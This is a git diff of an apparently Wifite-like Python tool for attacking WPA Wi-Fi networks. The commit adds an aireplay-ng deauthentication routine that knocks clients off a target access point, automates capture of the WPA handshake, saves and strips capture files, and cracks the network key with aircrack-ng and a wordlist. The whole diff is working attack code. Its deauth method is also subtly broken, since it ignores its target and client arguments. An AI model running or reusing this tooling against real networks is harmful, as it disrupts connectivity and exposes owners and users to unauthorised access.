diff --git a/py/AttackWPA.py b/py/AttackWPA.py index 6a480dc..4be860a 100644 --- a/py/AttackWPA.py +++ b/py/AttackWPA.py @@ -9,6 +9,9 @@ from Process import Process from WPAResult import WPAResult import time +import os +import re +from shutil import copy class AttackWPA(Attack): def __init__(self, target): @@ -34,16 +37,21 @@ class AttackWPA(Attack): time_since_deauth = time.time() + deauth_proc = None + while True: - Color.p('\r %s' % (' ' * 45)) + Color.clear_line() Color.p('\r{+} waiting for {C}handshake{W}...') time.sleep(1) + # Find .cap file cap_files = airodump.find_files(endswith='.cap') if len(cap_files) == 0: # No cap files yet continue cap_file = cap_files[0] + # TODO: Copy .cap file to temp for consistency + # Check for Handshake bssid = airodump_target.bssid essid = None @@ -52,21 +60,36 @@ class AttackWPA(Attack): handshake = Handshake(cap_file, bssid=bssid, essid=essid) if handshake.has_handshake(): # We got a handshake - Color.pl(' {G}captured handshake!{W}') + Color.pl('\n\n{+} {G}successfully captured handshake{W}') break - # TODO: Send deauth to a client or broadcast + # TODO: Delete copied .cap file in temp to save space + + # Check status of deauth process + if deauth_proc and deauth_proc.poll() == None: + # Deauth process is still running + time_since_deauth = time.time() + + # Send deauth to a client or broadcast if time.time()-time_since_deauth > Configuration.wpa_deauth_timeout: + # We are N seconds since last deauth was sent, + # And the deauth process is not running. if len(clients) == 0 or client_index >= len(clients): - # Send deauth for broadcoast + # TODO: Send deauth for broadcast + deauth_proc = self.deauth(airodump_target.bssid) client_index = 0 else: - # Send deauth for client + # TODO: Send deauth for client client = clients[client_index] + deauth_proc = self.deauth(client.bssid) client_index += 1 time_since_deauth = time.time() continue + # Stop the deauth process if needed + if deauth_proc and deauth_proc.poll() == None: + deauth_proc.interrupt() + if not handshake: # No handshake, attack failed. raise Exception('Handshake not captured') @@ -74,32 +97,25 @@ class AttackWPA(Attack): key = None - # TODO: Save copy of handshake to ./hs/ - import os - if not os.path.exists('hs'): - os.mkdir('hs') - import re - essid_safe = re.sub('[^a-zA-Z0-9]', '', handshake.essid) - bssid_safe = handshake.bssid.replace(':', '-') - date = time.strftime('%Y-%m-%dT%H-%M-%S') - cap_filename = 'handshake_%s_%s_%s.cap' % (essid_safe, bssid_safe, date) - cap_filename = os.path.join('hs', cap_filename) - from shutil import copy - Color.p('{+} saving copy of {C}handshake{W} to {C}%s{W} ' % cap_filename) - copy(handshake.capfile, cap_filename) - Color.pl(' {G}saved{W}') - handshake.capfile = cap_filename + # Save copy of handshake to ./hs/ + self.save_handshake(handshake) - # TODO: Crack handshake + # Print analysis of handshake file + Color.pl('\n{+} analysis of captured handshake file:') + handshake.analyze() + + # Crack handshake wordlist = Configuration.wordlist if wordlist != None: + wordlist_name = wordlist.split(os.sep)[-1] if not os.path.exists(wordlist): Color.pl('{!} {R}unable to crack:' + ' wordlist {O}%s{R} does not exist{W}' % wordlist) else: # We have a wordlist we can use - Color.p('{+} {G}cracking{W} handshake using {C}%s{W} wordlist' - % wordlist.split(os.sep)[-1]) + Color.p('\n{+} {C}cracking handshake{W}' + + ' using {C}aircrack-ng{W}' + + ' with {C}%s{W} wordlist' % wordlist_name) # TODO: More-verbose cracking status # 1. Read number of lines in 'wordlist' @@ -119,18 +135,65 @@ class AttackWPA(Attack): aircrack.wait() if os.path.exists(key_file): # We cracked it. - Color.pl('{G}cracked{W}') + Color.pl('\n\n{+} {G}successfully cracked PSK{W}\n') f = open(key_file, 'r') key = f.read() f.close() else: - Color.pl('{R}failed{W}') + Color.pl('\n{!} {R}handshake crack failed:' + + ' {O}%s did not contain password{W}' + % wordlist.split(os.sep)[-1]) self.crack_result = WPAResult(bssid, essid, handshake.capfile, key) self.crack_result.dump() return True + def save_handshake(self, handshake): + ''' + Saves a copy of the handshake file to hs/ + Args: + handshake - Instance of Handshake containing bssid, essid, capfile + ''' + # Create handshake dir + if not os.path.exists(Configuration.wpa_handshake_dir): + os.mkdir(Configuration.wpa_handshake_dir) + + # Generate filesystem-safe filename from bssid, essid and date + essid_safe = re.sub('[^a-zA-Z0-9]', '', handshake.essid) + bssid_safe = handshake.bssid.replace(':', '-') + date = time.strftime('%Y-%m-%dT%H-%M-%S') + cap_filename = 'handshake_%s_%s_%s.cap' % (essid_safe, bssid_safe, date) + cap_filename = os.path.join(Configuration.wpa_handshake_dir, cap_filename) + + Color.p('{+} saving copy of {C}handshake{W} to {C}%s{W} ' % cap_filename) + copy(handshake.capfile, cap_filename) + Color.pl(' {G}saved{W}') + + # Update handshake to use the stored handshake file for future operations + handshake.capfile = cap_filename + + + def deauth(self, target_bssid, station_bssid=None): + ''' + Sends deauthentication request. + Args: + target_bssid - AP BSSID to deauth + station_bssid - Client BSSID to deauth + Deauths 'broadcast' if no client is specified. + ''' + command = [ + 'aireplay-ng', + '--ignore-negative-one', + '-0', # Deauthentication + '-a', self.target.bssid + ] + if station_bssid: + # Deauthing a specific client + command.extend(['-h', station_bssid]) + command.append(Configuration.interface) + return Process(command) + if __name__ == '__main__': from Target import Target fields = "A4:2B:8C:16:6B:3A, 2015-05-27 19:28:44, 2015-05-27 19:28:46, 11, 54e,WPA, WPA, , -58, 2, 0, 0. 0. 0. 0, 9, Test Router Please Ignore, ".split(',') diff --git a/py/Color.py b/py/Color.py index 846ca44..37939ba 100644 --- a/py/Color.py +++ b/py/Color.py @@ -34,7 +34,11 @@ class Color(object): ''' sys.stdout.write(Color.s(text)) sys.stdout.flush() - Color.last_sameline_length += len(text) + if '\r' in text: + text = text[text.rfind('\r')+1:] + Color.last_sameline_length = len(text) + else: + Color.last_sameline_length += len(text) @staticmethod def pl(text): diff --git a/py/Handshake.py b/py/Handshake.py index f6fc9ea..0176d5c 100644 --- a/py/Handshake.py +++ b/py/Handshake.py @@ -4,6 +4,7 @@ from Process import Process from Color import Color import re +import os class Handshake(object): def __init__(self, capfile, bssid=None, essid=None): @@ -22,7 +23,7 @@ class Handshake(object): # Find bssid/essid pairs that have handshakes in Pyrit pairs = self.pyrit_handshakes() - if len(pairs) == 0: + if len(pairs) == 0 and not self.bssid and not self.essid: # Tshark and Pyrit failed us, nothing else we can do. raise Exception("Cannot find BSSID or ESSID in cap file") @@ -57,19 +58,19 @@ class Handshake(object): def has_handshake(self): if not self.bssid or not self.essid: - self.divine_essid_and_bssid() + self.divine_bssid_and_essid() if len(self.tshark_handshakes()) > 0: return True - if len(self.cowpatty_handshakes()) > 0: - return True - if len(self.pyrit_handshakes()) > 0: return True - # XXX: Disabling aircrack check since I don't think it's reliable. + + # XXX: Disabling these checks since I don't think they are reliable. ''' + if len(self.cowpatty_handshakes()) > 0: + return True if len(self.aircrack_handshakes()) > 0: return True ''' @@ -294,6 +295,37 @@ class Handshake(object): pairs = self.aircrack_handshakes() Handshake.print_pairs(pairs, self.capfile, 'aircrack') + + def strip(self, outfile=None): + # XXX: This method might break aircrack-ng, use at own risk. + ''' + Strips out packets from handshake that aren't necessary to crack. + Leaves only handshake packets and SSID broadcast (for discovery). + Args: + outfile - Filename to save stripped handshake to. + If outfile==None, overwrite existing self.capfile. + ''' + if not outfile: + outfile = self.capfile + '.temp' + replace_existing_file = True + else: + replace_existing_file = False + + cmd = [ + 'tshark', + '-r', self.capfile, # input file + '-R', 'wlan.fc.type_subtype == 0x08 || eapol', # filter + '-w', outfile # output file + ] + proc = Process(cmd) + proc.wait() + if replace_existing_file: + from shutil import copy + copy(outfile, self.capfile) + os.remove(outfile) + pass + + @staticmethod def print_pairs(pairs, capfile, tool=None): ''' @@ -304,28 +336,27 @@ class Handshake(object): tool_str = '{C}%s{W}: ' % tool.rjust(8) if len(pairs) == 0: - Color.pl("{!} %s%s {R}does not{O} contain a handshake{W}" - % (tool_str, capfile)) + Color.pl("{!} %s.cap file {R}does not{O} contain a valid handshake{W}" + % (tool_str)) return for (bssid, essid) in pairs: if bssid and essid: - Color.pl("{+} %s%s {G}contains a handshake{W} for {G}%s{W} ({G}%s{W})" - % (tool_str, capfile, bssid, essid)) + Color.pl('{+} %s.cap file' % tool_str + + ' {G}contains a valid handshake{W}' + + ' for {G}%s{W} ({G}%s{W})' % (bssid, essid)) elif bssid: - Color.pl("{+} %s%s {G}contains a handshake{W} for {G}%s{W}" - % (tool_str, capfile, bssid)) + Color.pl('{+} %s.cap file' % tool_str + + ' {G}contains a valid handshake{W}' + + ' for {G}%s{W}' % bssid) elif essid: - Color.pl("{+} %s%s {G}contains a handshake{W} for ({G}%s{W})" - % (tool_str, capfile, essid)) - + Color.pl('{+} %s.cap file' % tool_str + + ' {G}contains a valid handshake{W}' + + ' for ({G}%s{W})' % essid) if __name__ == '__main__': - #hs = Handshake('/tmp/test.cap') - hs = Handshake('/tmp/test.cap', bssid='30:85:a9:39:d2:18') - #hs = Handshake('/tmp/test.cap', bssid='30:85:a9:39:d2:18', essid="Uncle Router's Gigabit LAN Party") - #hs = Handshake('/tmp/test.cap.stripped.tshark') + hs = Handshake('./tests/files/handshake_exists.cap', bssid='A4:2B:8C:16:6B:3A') hs.analyze() print "has_hanshake() =", hs.has_handshake() diff --git a/py/tests/files/handshake_exists.cap b/py/tests/files/handshake_exists.cap index 4e89e8a..b6001fa 100644 Binary files a/py/tests/files/handshake_exists.cap and b/py/tests/files/handshake_exists.cap differ